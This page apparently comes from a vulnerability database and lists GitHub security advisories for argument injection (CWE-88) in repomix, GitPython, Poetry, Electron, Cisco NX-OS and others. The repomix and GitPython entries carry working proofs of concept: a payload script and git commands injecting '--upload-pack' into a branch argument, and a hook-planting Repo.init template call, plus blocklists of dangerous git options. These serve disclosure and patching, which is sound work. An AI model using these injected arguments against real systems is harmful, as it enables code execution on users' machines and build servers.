Common Weakness Enumeration

CWE-88

Allowed

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Abstraction: Base · Status: Draft

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

669 vulnerabilities reference this CWE, most recent first.

GHSA-9MM9-RQHJ-J5MX

Vulnerability from github – Published: 2026-07-01 19:00 – Updated: 2026-07-01 19:00

Summary

repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection

Details

Vulnerability Metadata

Field	Detail
Affected Component	`src/core/git/gitCommand.ts` (`execGitShallowClone`)
Impact	Arbitrary Command Execution / Security Control Bypass

Summary

The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.

An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().

Vulnerable Code Analysis

File: src/core/git/gitCommand.ts

The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.

Sink 1 (Lines 118-127):

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
  gitRemoteOpts,
);

Sink 2 (Lines 148-151):

await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable

Bypassed Security Control (Lines 192-197): The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.

Attack Flow

[Source] repomix --remote-branch <injected_option>
   ↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
   ↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
   ↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
   ↓
[Execution] git invokes the payload binary via transport helper

Proof of Concept (Steps to Reproduce)

1. Create the Payload Create an executable bash script that writes system execution context to a file. (Reference: Screenshot_2026-05-18_13_02_16.png)

cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack

2. Trigger the Vulnerability Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument. (Reference: Screenshot_2026-05-18_13_08_36.png)

# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git

# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git

# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1

3. Verify Execution Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.

cat /tmp/repomix-pwned.txt

Expected Output:

=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...

End-to-End Execution via Repomix:

repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'

Impact

Remote Code Execution: Complete system compromise with the privileges of the user executing repomix.
CI/CD Compromise: If repomix is utilized in automated pipelines where --remote-branch is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.

Remediation

1. Implement Positional Delimiters (Primary Fix) Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
  gitRemoteOpts,
);

2. Apply Existing Blocklist to Branch Parameter (Defense in Depth) Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.

const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];

if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}

Attachments

Screenshot 1: Payload script created with executable permissions. Screenshot_2026-05-18_13_02_16

Screenshot 2: Vulnerable Code Screenshot_2026-05-18_13_03_44

Screenshot 3: Verifying RCE. Screenshot_2026-05-18_13_08_36

Credits

This vulnerability was discovered and responsibly disclosed by: - Researcher: Abhijith S. - GitHub: @kakashi-kx - HackerOne/Bugcrowd: kakashi4kx

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "repomix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T19:00:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n  \u0027git\u0027,\n  [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, remoteBranch], // Vulnerable\n  gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync(\u0027git\u0027, [\u0027-C\u0027, directory, \u0027checkout\u0027, remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch \u003cinjected_option\u003e\n   \u2193\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n   \u2193\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n   \u2193\n[Sink] execFileAsync(\u0027git\u0027, [\u0027...\u0027, \u0027origin\u0027, \u0027--upload-pack=/tmp/payload\u0027])\n   \u2193\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat \u003e /tmp/malicious-pack \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" \u003e /tmp/repomix-pwned.txt\nid \u003e\u003e /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch \u0026\u0026 cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2\u003e\u00261\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch \u0027--upload-pack=/tmp/malicious-pack\u0027\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n  \u0027git\u0027,\n  [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, \u0027--\u0027, remoteBranch],\n  gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = [\u0027--upload-pack\u0027, \u0027--receive-pack\u0027, \u0027--config\u0027, \u0027--exec\u0027];\n\nif (remoteBranch \u0026\u0026 dangerousParams.some((param) =\u003e remoteBranch.includes(param))) {\n  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" /\u003e\n\n\n**Screenshot 2:** Vulnerable Code \n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" /\u003e\n\n\n**Screenshot 3:** Verifying RCE.\n\u003cimg width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" /\u003e\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
  "id": "GHSA-9mm9-rqhj-j5mx",
  "modified": "2026-07-01T19:00:50Z",
  "published": "2026-07-01T19:00:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamadashy/repomix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection"
}

GHSA-9P57-W95J-8FJH

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14

Details

A vulnerability in the CLI of Cisco NX-OS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system of an affected device. The vulnerability is due to insufficient validation of arguments passed to certain CLI commands. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with elevated privileges. An attacker would need valid administrator credentials to exploit this vulnerability. MDS 9000 Series Multilayer Switches are affected in versions prior to 6.2(27), 8.1(1b), and 8.3(1). Nexus 7000 and 7700 Series Switches are affected in versions prior to 6.2(22), 7.3(3)D1(1), and 8.2(3).

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2019-1608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-08T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the CLI of Cisco NX-OS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system of an affected device. The vulnerability is due to insufficient validation of arguments passed to certain CLI commands. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with elevated privileges. An attacker would need valid administrator credentials to exploit this vulnerability. MDS 9000 Series Multilayer Switches are affected in versions prior to 6.2(27), 8.1(1b), and 8.3(1). Nexus 7000 and 7700 Series Switches are affected in versions prior to 6.2(22), 7.3(3)D1(1), and 8.2(3).",
  "id": "GHSA-9p57-w95j-8fjh",
  "modified": "2022-05-13T01:14:56Z",
  "published": "2022-05-13T01:14:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1608"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190306-nxos-cmdinj-1608"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107386"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RHM-RVMR-H9Q2

Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 00:58

Details

An argument injection vulnerability in Atlassian Sourcetree for Windows's URI handlers, in all versions prior to 3.1.3, allows remote attackers to gain remote code execution through the use of a crafted URI.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2019-11582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-06-14T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "An argument injection vulnerability in Atlassian Sourcetree for Windows\u0027s URI handlers, in all versions prior to 3.1.3, allows remote attackers to gain remote code execution through the use of a crafted URI.",
  "id": "GHSA-9rhm-rvmr-h9q2",
  "modified": "2024-04-04T00:58:09Z",
  "published": "2022-05-24T16:48:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11582"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/SRCTREEWIN-11917"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RJ7-RF2P-W77R

Vulnerability from github – Published: 2026-08-07 15:36 – Updated: 2026-09-08 20:54

Summary

GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks

Details

Summary

Repo.init() forwards **kwargs verbatim to git init with no unsafe-option guard and no allow_unsafe_options parameter. git init --template=<dir> copies <dir>/hooks/* into the new repo's .git/hooks, so an attacker-controlled template kwarg plants a hook that executes on the next git operation → arbitrary code execution. --template is already recognized as unsafe for clone (it is on unsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), but Repo.init is a distinct method that never received a guard and needs an independent fix.

Root Cause

Repo.init(path, mkdir, odbt, expand_vars, **kwargs) is a bare git.init(**kwargs) (git/repo/base.py:1435) with no check_unsafe_options and no allow_unsafe_options.

Impact

Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a template= kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default allow_unsafe_options is irrelevant here because Repo.init has no guard at all.

Proof of Concept

# attacker stages /evil/hooks/post-commit (executable)
from git import Repo
Repo.init(path, template="/evil")
# next commit runs /evil/hooks/post-commit -> ACE

Attack Chain

Entry: attacker stages /evil/hooks/post-commit (executable) and gets the app to call Repo.init(path, template='/evil').
Check: NONE on Repo.init. Bypass proof: base.py:1435 is a bare git.init(**kwargs). argv (observed): ['git','init','--template=/evil'].
Sink: git copies /evil/hooks/post-commit → <repo>/.git/hooks/post-commit.
Impact: next commit runs the hook → arbitrary code execution.

Bypass Evidence

Independently reproduced (gate harness): Repo.init(dst, template='<evil>') → argv ['git','init','--template=<evil>'] unguarded; hook copied into .git/hooks/post-commit; after git commit the INIT_ACE marker was created. --separate-git-dir=<path> is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).

Affected Versions

GitPython <= 3.1.57 (unguarded git.init(**kwargs) present verbatim on the latest release tag).

Suggested Fix

Add a check_unsafe_options guard (with an allow_unsafe_options parameter) to Repo.init, consulting a denylist that includes --template and --separate-git-dir (path-taking / hook-installing options).

Reported by zx (Jace) — GitHub: @manus-use

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T15:36:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=\u003cdir\u003e` copies `\u003cdir\u003e/hooks/*` into the new repo\u0027s `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation \u2192 arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix.\n\n## Root Cause\n`Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`.\n\n## Impact\nArbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path \u2014 the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all.\n\n## Proof of Concept\n```python\n# attacker stages /evil/hooks/post-commit (executable)\nfrom git import Repo\nRepo.init(path, template=\"/evil\")\n# next commit runs /evil/hooks/post-commit -\u003e ACE\n```\n\n## Attack Chain\n1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template=\u0027/evil\u0027)`.\n2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `[\u0027git\u0027,\u0027init\u0027,\u0027--template=/evil\u0027]`.\n3. Sink: git copies `/evil/hooks/post-commit` \u2192 `\u003crepo\u003e/.git/hooks/post-commit`.\n4. Impact: next commit runs the hook \u2192 arbitrary code execution.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `Repo.init(dst, template=\u0027\u003cevil\u003e\u0027)` \u2192 argv `[\u0027git\u0027,\u0027init\u0027,\u0027--template=\u003cevil\u003e\u0027]` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=\u003cpath\u003e` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options).\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
  "id": "GHSA-9rj7-rf2p-w77r",
  "modified": "2026-09-08T20:54:14Z",
  "published": "2026-08-07T15:36:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks"
}

GHSA-9V9R-86P3-CG7V

Vulnerability from github – Published: 2024-03-01 21:31 – Updated: 2024-03-01 21:31

Details

A remote, unauthenticated attacker may be able to send crafted messages to the web server of the Commend WS203VICM causing the system to restart, interrupting service.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-22182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T21:15:08Z",
    "severity": "HIGH"
  },
  "details": "A remote, unauthenticated attacker may be able to send crafted messages \nto the web server of the Commend WS203VICM causing the system to \nrestart, interrupting service.\n\n",
  "id": "GHSA-9v9r-86p3-cg7v",
  "modified": "2024-03-01T21:31:17Z",
  "published": "2024-03-01T21:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22182"
    },
    {
      "type": "WEB",
      "url": "https://clibrary-online.commend.com/en/cyber-security/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-051-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WFR-W7MM-PC7F

Vulnerability from github – Published: 2026-04-03 02:39 – Updated: 2026-04-06 23:10

Summary

Electron: Renderer command-line switch injection via undocumented commandLineSwitches webPreference

Details

Impact

An undocumented commandLineSwitches webPreference allowed arbitrary switches to be appended to the renderer process command line. Apps that construct webPreferences by spreading untrusted configuration objects may inadvertently allow an attacker to inject switches that disable renderer sandboxing or web security controls.

Apps are only affected if they construct webPreferences from external or untrusted input without an allowlist. Apps that use a fixed, hardcoded webPreferences object are not affected.

Workarounds

Do not spread untrusted input into webPreferences. Use an explicit allowlist of permitted preference keys when constructing BrowserWindow or webContents options from external configuration.

Fixed Versions

41.0.0-beta.8
40.7.0
39.8.0
38.8.6

For more information

If there are any questions or comments about this advisory, send an email to security@electronjs.org

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "38.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0-alpha.1"
            },
            {
              "fixed": "39.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0-alpha.1"
            },
            {
              "fixed": "40.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "41.0.0-alpha.1"
            },
            {
              "fixed": "41.0.0-beta.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-912"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T02:39:15Z",
    "nvd_published_at": "2026-04-04T00:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAn undocumented `commandLineSwitches` webPreference allowed arbitrary switches to be appended to the renderer process command line. Apps that construct `webPreferences` by spreading untrusted configuration objects may inadvertently allow an attacker to inject switches that disable renderer sandboxing or web security controls.\n\nApps are only affected if they construct `webPreferences` from external or untrusted input without an allowlist. Apps that use a fixed, hardcoded `webPreferences` object are not affected.\n\n### Workarounds\nDo not spread untrusted input into `webPreferences`. Use an explicit allowlist of permitted preference keys when constructing `BrowserWindow` or `webContents` options from external configuration.\n\n### Fixed Versions\n* `41.0.0-beta.8`\n* `40.7.0`\n* `39.8.0`\n* `38.8.6`\n\n### For more information\nIf there are any questions or comments about this advisory, send an email to [security@electronjs.org](mailto:security@electronjs.org)",
  "id": "GHSA-9wfr-w7mm-pc7f",
  "modified": "2026-04-06T23:10:37Z",
  "published": "2026-04-03T02:39:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/security/advisories/GHSA-9wfr-w7mm-pc7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34769"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electron/electron"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Electron: Renderer command-line switch injection via undocumented commandLineSwitches webPreference"
}

GHSA-9XGJ-FCGF-X6MW

Vulnerability from github – Published: 2022-09-16 19:26 – Updated: 2024-10-21 20:25

Summary

Poetry Argument Injection can lead to Local Code Execution

Details

Observation

When handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.

To clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:

poetry/core/vcs/git.py:

def clone(self, repository: str, dest: Path) -> str:
    return self.run("clone", "--recurse-submodules", repository, str(dest))

Since this value comes from the pyproject.toml file, it can contain any character, including a leading dash.

Impact

This vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems. Since this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory. This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.

Patches

1.1.8 || 1.2.0b1

Remediation

Upgrade to version 1.1.9 || 1.2.0b1

References

Fix PR

For more information

If you have any questions or comments about this advisory, email us at security@python-poetry.org

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

7.3 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T19:26:59Z",
    "nvd_published_at": "2022-09-07T19:15:00Z",
    "severity": "HIGH"
  },
